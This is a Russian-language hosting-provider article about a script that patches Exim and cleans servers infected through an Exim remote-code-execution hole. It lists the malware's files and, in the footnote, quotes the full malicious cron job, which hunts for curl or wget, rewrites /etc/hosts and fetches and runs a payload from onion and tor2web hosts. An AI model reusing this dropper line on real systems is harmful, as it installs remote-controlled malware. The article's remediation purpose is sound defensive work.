Уязвимость в Exim — профилактика и лечение последствий заражения

Собрали весь комплекс выполняемых нами мероприятий для профилактики и лечения последствий взлома через уязвимость Exim в один скрипт. Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.

Что делает скрипт?

1. Если операционная система, установленная на сервере:

   а. Не Centos 6 — обновляет Exim, переустанавливает curl

   b. Centos 6 — обновляет Exim из тестового репозитория EPEL (релиз в штатные репозитории ожидается 11-12.06), переустанавливает curl.

2. Проверяет наличие заражения на сервере:

   a. Если в папке /etc есть следы вирусного скрипта*, делает следующее:

  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма нельзя отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта: /etc/cron.daily/cronlog /etc/cron.d/root  /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

  b. Если следов заражения нет, скрипт завершает работу.

Уточнения

  • Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.
  • curl также заражается вирусом, поэтому он переустанавливается.
  • Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

Ограничение ответственности

Представленное нами решение является тестовым. Оно справляется с поставленными перед ним задачами по обновлению почтового сервера и профилактике взлома через уязвимость в Exim. Мы протестировали его на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек. Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали. Отметим, что скрипт не ищет и не устраняет скрытые бэкдоры, через которые возможно повторное заражение. Скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости. 

Поэтому, используя скрипт, вы делаете это на свой страх и риск. Перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера. 

Как пользоваться?

Для запуска скрипта:

  1. Подключитесь к серверу по SSH под пользователем с правами root. Также можно использовать Shell- клиент в панели ISPmanager — Инструменты.

  2. В терминале введите команду:

wget http://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

  3. Ожидайте завершения выполнения скрипта и перезагрузки сервера.

  4. После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron


* Скрипт анализирует задания планировщика на наличие подозрительных включений. Например, таких: 

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

Автор статьи:

Кирилл Цветков

Системный администратор

Аватар пользователя k.tsvetcov
Вернуться